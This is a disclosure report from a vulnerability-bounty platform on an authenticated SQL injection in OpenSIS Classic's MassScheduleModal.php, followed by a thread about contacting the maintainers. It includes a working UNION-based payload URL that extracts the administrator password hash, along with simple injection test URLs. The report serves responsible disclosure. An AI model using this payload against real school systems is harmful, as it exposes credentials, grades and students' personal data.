Authenticated SQL Injection in OpenSIS Classic v9.0 and earlier in os4ed/opensis-classic

Valid

Reported on

Nov 25th 2022


Description

SQL injection in OpenSIS Classic v9.0 and earlier allows remote authenticated attackers to execute SQL code via the id parameter in MassScheduleModal.php leading to full database information disclosure.

Version

At the time of reporting, the most up-to-date version of the master branch was used for testing. The latest commit was: 381a1ad. The release package 8.0 includes this vulnerability.

Edit: Since first reporting this, a new release has been published: 9.0. However, the affected files and code did not change.

Proof of Concept

  • 1: Authenticate as student (or any other account)
  • 2: Visit the following URL
http://<HOST>/MassScheduleModal.php?table_name=course_periods&id='+UNION+SELECT+'','','',(SELECT+CONCAT('ADMIN+HASH:+',password)+from+login_authentication+where+id=1),'','','','','','','','','','','','','','','','','','','','','','','','','','',''--+-

If error output is activated, the password hash for the first created user will be shown in the error output. If error output was disabled, attackers could still leverage blind enumeration techniques to brute force database contents.

Impact

Remote authenticated attackers can enumerate all database contents (either via reflective SQL injection when error output is enabled or by blind time-based SQL injection if it's not, for example). The database contains encrypted passwords, PII and other sensitive information such as grades.

Occurrences

$_REQUEST[id] is passed to the SQL query without prior sanitization, making the query susceptible to SQL injection.

# POC
http://<HOST>/MassScheduleModal.php?table_name=courses&id='

$_REQUEST[id] is passed to the SQL query without prior sanitization, making the query susceptible to SQL injection.

# POC
http://<HOST>/MassScheduleModal.php?table_name=course_periods&id='
We are processing your report and will contact the os4ed/opensis-classic team within 24 hours. 4 months ago
crackcat
4 months ago

Researcher


@admin I'd also like to request a CVE for this. I verified that this vulnerability has not been covered by CVE-2021-40618, CVE-2021-40617 or CVE-2021-40309 and is neither listed on cvedetails.com nor the current github issues.

crackcat modified the report
4 months ago
We have contacted a member of the os4ed/opensis-classic team and are waiting to hear back 4 months ago
Pavlos
4 months ago

Admin


Hi crackcat! A CVE may be assigned once the maintainers determine this to be a valid vulnerability, fix it and take it public not before. OpenSIS are pretty active so if you could be patient, they'll be here any minute :)

crackcat
4 months ago

Researcher


I see, thank you!

crackcat modified the report
3 months ago
crackcat
3 months ago

Researcher


@admin After direct communication attempts, a second vulnerability that I reported to their email has now been fixed and published with the new release: 9.0.

I tried to get a response for this report here as well, but I believe there was some sort of confusion. If possible, could you send a reminder for this report?

crackcat modified the report
3 months ago
Pavlos
3 months ago

Admin


Can you ask them to check their dashboard or send them the link?

crackcat
3 months ago

Researcher


Will do.

crackcat
2 months ago

Researcher


Hi @psmoros They cannot access the report as it's (obviously) still private, so they requested the details from me via email.

If you could please resend a magic link to the their mail address: info@os4ed.com that'd be great. Also, please add a note that this invite is in response to exactly that request made by them towards pm_security_report@proton (crackcat), if possible - to avoid any confusion.

Using a subject of "RE: Vulnerability Disclosure" might help this matter too.

crackcat
2 months ago

Researcher


@admin (in case the above mention didnt go through) On a side note, I really support the suggestion of adding emoji-responses ("Ok" "thumbs up/down" for example, to indicate that a message was read or acknowledged)

crackcat modified the report
2 months ago
Ben Harvie
2 months ago

Admin


Hey crackcat, a magic link has now been sent to the email address provided!

As for your emoji-reaction feature request, it is something we are looking to add on to in the future.

Happy hunting:)

We have sent a follow up to the os4ed/opensis-classic team. We will try again in 7 days. 2 months ago
We have sent a second follow up to the os4ed/opensis-classic team. We will try again in 10 days. 2 months ago
We have sent a third and final follow up to the os4ed/opensis-classic team. This report is now considered stale. a month ago
Pavlos validated this vulnerability a month ago
crackcat has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Pavlos marked this as fixed in 9.0 with commit 60770d a month ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
Pavlos published this vulnerability a month ago
MassScheduleModal.php#L35 has been validated
MassScheduleModal.php#L58 has been validated
to join this conversation